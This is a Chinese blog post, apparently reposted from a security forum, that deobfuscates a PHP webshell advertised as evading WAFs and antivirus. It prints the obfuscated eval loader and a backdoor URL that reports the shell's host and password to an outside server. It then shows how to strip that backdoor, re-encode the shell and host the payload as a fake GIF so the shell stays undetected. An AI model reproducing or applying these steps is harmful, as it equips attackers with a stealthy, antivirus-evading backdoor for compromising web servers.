841天 南柯一梦

忠于理想 面对现实

解密PHP免杀大马去除后门还原免杀大马全过程

发布于 5个月前 / 1.4k 次围观 / 3 条评论 / 网络安全 / 南柯一梦

准备工具

  • PhpStudy 运行环境
  • Sublime Text3
  • 虚拟机一台

文件里面的代码如下

<?php
$password = 'admin'; //登录密码

//本次更新:体积优化、压缩优化、命令优化、反弹优化、文件管理优化、挂马清马优化等大量功能细节优化。
//功能特色:PHP高版本低版本都能执行,文件短小精悍,方便上传,功能强大提权无痕迹,无视waf,过安全狗、云锁、360、阿里云、护卫神等主流waf。同时支持菜刀、xise连接。

$html = '$password' . '=' . "'" . $password . "';" . '@e#html' . '' . 'v' . "" . '' . '' . "" . '' . '' . '' . 'a' . '' . 'l(' . 'g' . '' . "" . '' . '' . 'z' . 'i' . '' . '' . 'n' . 'f' . 'l' . '' . '' . "" . 'a' . 't' . 'e(b' . 'as' . '' . '' . '' . "" . '' . 'e' . '6' . '' . "" . '' . "" . "" . "" . '' . '4_' . 'd' . 'e' . 'c' . '' . '' . '' . "" . '' . "" . 'o' . 'd' . 'e' . '(' . "'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";
$css = base64_decode("Q3JlYXRlX0Z1bmN0aW9u");
$style = $css('', preg_replace("/#html/", "", $html));
$style(); /*));.'<linkrel="stylesheet"href="$#css"/>';*/

解密

注意观察一下代码可以发现字符串使用' . ' 连接的,那么我们将他连接到一块去看一下效果

@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l

最后拼接成为 @e#htmlval,看到这里很奇怪,然后我们继续读代码,下面会有一个替换#html的

剩下的可以以此类推

'.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e
gzinflate
b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'
base64_decode

当然,还有最前面的$html='$password'.'='."'".$password."';

一眼就能看出他会变成

$html=$password="admin";

最下面还有3行

$css = base64_decode("Q3JlYXRlX0Z1bmN0aW9u");
$css = Create_Function          //这个可以用来创建匿名函数,相信大家都知道

刚刚看到上面的@e#htmlval,截图上可以看到已经替换为空了

1.png

剩下还有一个$style,我们可以直接将他输出

2.png

可以看到大致PHP内容是这样的

Create_Function($html = $password;@eval(gzinflate(base64_decode("xxxxxxxxxx"))));

接着我们将代码修改一下,大概是这样的,说白了就是将@eval 修改为 @echo,因为这样可以输出他原本的代码

" . '@e#html' . '' . 'v' . "" . '' . '' . "" . '' . '' . '' . 'a' . '' . 'l
修改为下面这样
" . '@e#html' . '' . 'c' . "" . '' . '' . "" . '' . '' . '' . 'h' . '' . 'o

然后把大马拿到phpstudy里面运行,拿去之前,我先在phpstudy的站点域名管理里面设置一下域名以及host文件,这样可以方便我们后期观察

3.png

修改完成之后访问网页 按一下ctrl+u,查看源代码是这样的

4.png

看到确实入我们推断的如此

接着我们将中间的base64拿去解密一下,方法很多

解密可以直接输出在网页

比如这样解

$Code ="lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8="; // base64编码

echo gzinflate(base64_decode($Code));

他是64编码,然后我们就先用base64_decode,然后用gzinflate,这样就可以拿到源码

现在访问一下页面看看效果,建议用视图模式

5.png

看到了上面有两行base64加密的内容,我们又可以继续解密

6.png

看到里面是一个网址,看样子好像距希望不远了

拿到网址,第一步我们就去访问他,但是却发现是损坏的,那我们可以猜测里面就是大马内容

7.png

接着我用迅雷将他下载下来了,大小76KB,打开看看内容

8.png

看这样子,又是用base64加密的,这里我写了几句代码来解密

$text = "xxxxxxx"; //将需要解密的base64放到这里
$File = 'decode.php';//解码后保存的文件
$FP = fopen($File,"w");//以写入方式打开文件
$Temp = base64_decode($text);//64编码解密
$temp = gzinflate($Temp);//gzinflate解密
fwrite($FP,$temp);//写入文件
fclose($FP);//关闭文件
echo "解密成功!";
?>

这里弄完之后就去网页访问一下这个文件,这样,当前目录就会生成一个decode.php文件,并且在里面写入解密后的内容

查找后门

后门的方式有很多,比如我们可以跟中$password ,查找$_SERVER['HTTP_HOST'] ,$_SERVER['SCRIPT_NAME'],$_SERVER['SERVER_PORT'],等等。当然 上面几个是比较常用的,因为后门中肯定会发送当前大马的密码,以及当前域名 端口,所以我们就可以根据他们来查找

这里我直接用$password查找,当然$_SERVER['HTTP_HOST']也可以

打开文件就看到了这条内容,没错,它定义了一个常量,设置常量名为postpass,现在我们就可以根据postpass来查找:

9.png

跟中到826行时发现,show_main()这个函数,看了一下里面的内容,然后又看到下面还有一个show_mainp()函数,函数里面写了关于postpass以及$_SERVER ['HTTP_HOST']还有其他的

10.png

里面又有base64加密的内容,这事我们解密出来是这个

22.png

可以确定,已经找到了,接着我们把这个url和下面的参数拼接一下看看

// $url = [url]http://phpapi.info/api.php?name=www.test.com%2Fshell.php&value=admin&id=ip[/url]地址
GetHtml($url);   //使用这个函数去请求上面那个url,然后请求的内容就记录到服务端了

这里我们只需要将show_mainp(),show_main() 这两个函数删除即可

还原

上面我们解密了,也查找到后门并且删除了两个关键性的函数,接下来就是还原。所有代码我们已经拿到手,只需要跟着解密步骤加密,然后最后生成一个404.gif图片即可

大概步骤是这样的

首先将代码进行 gzdeflate -> base64_encode ,这样就已经成功的加密成为了类似404.gif那张图片,这里我写了几行代码用来加密

$filename = "decode.php";//读取大马内容
$File = '400.gif';//加密后保存的文件
$handle = fopen($filename, "r");
$contents = fread($handle, filesize ($filename));
$temp = base64_encode(gzdeflate($contents));
$FP = fopen($File,"w");
fwrite($FP,$temp);
fclose($FP);
fclose($handle);

现在已经生成了400.gif了

11.png

图片已经还原,现在就可以去找人借一个域名然后挂到服务器,当然用本地的phpstudy加修改host文件也是可以的,比如我现在已经将我的图片挂到了本地的phpstudy里面了,记得将host文件修改一下,最后变成了

12.png

现在我们回到最前面,将原本大马的base64内容解密,怎么解密前面已经说过了,然后找到他的那段404.gif加密的内容

13.png

看到里面的地址,前面说过他是404.gif地址,然后他用了两次base64_encode,从下图可以看到

14.png

所以这个时候我们也可以将我们的加密两次,变成了这个样子(加密的时候记得在前面加上http://),大概就是这样

YUhSMGNEb3ZMM2QzZHk1M1pXSnphR1ZzYkM1amIyMHZOREF3TG1kcFpnPT0=

网页上的代码复制下来修改一下里面的加密内容,修改成为我们的400.gif这个

15.png

现在可以访问试一试,可以看到直接访问成功了,但是没有密码,其实我们可以直接在最上方写上$password="admin"; 这样密码就是admin

16.png

虽然我们可以在代码最上方加上$password="admin"; 但是就这样看,好像看着一点都不舒服,而且他是否具备免杀,所以这个时候我们就可以将代码继续还原,直接将所有内容用gzdeflate -> base64_encode 这个加密一次,并且修改shell.php里面的base64加密内容就可以了,用gzdeflate -> base64_encode的原因是因为它使用的base64_decode -> gzinflate解密,所以我们反着来就行 大概就是用前面的代码就可以加密

$filename = "shell.php";//读取大马内容
$File = 'shell.txt';//加密后保存的文件
$handle = fopen($filename, "r");
$contents = fread($handle, filesize ($filename));
$temp = base64_encode(gzdeflate($contents));
$FP = fopen($File,"w");
fwrite($FP,$temp);
fclose($FP);
fclose($handle);

完成之后会在当前目录生成一个shell.txt

17.png

现在只需要将shell.txt里面的内容拿到从网上下载的大马里面的base64加密内容处替换一下即可

18.png

19.png

访问一下./shell.php可以看到可以成功访问,并且可以成功的登录

20.png

21.png

注意一点,还原的时候如果无法使用,可以看看测试时,是否在代码里面加上<?php 或者?> ,如果加上了,删除重新加密即可,这样就过狗过360等其他的大马查杀工具

文章转载自T00ls.NET->原文地址

未显示?请点击刷新
  1. 4个月前 (02-05)
    @

    南柯一梦新年快乐!

    • 4个月前 (02-05)
      @ NO

      @That year 1997:你也快乐哦

  2. 4个月前 (01-09)
    @

    打卡! [F1]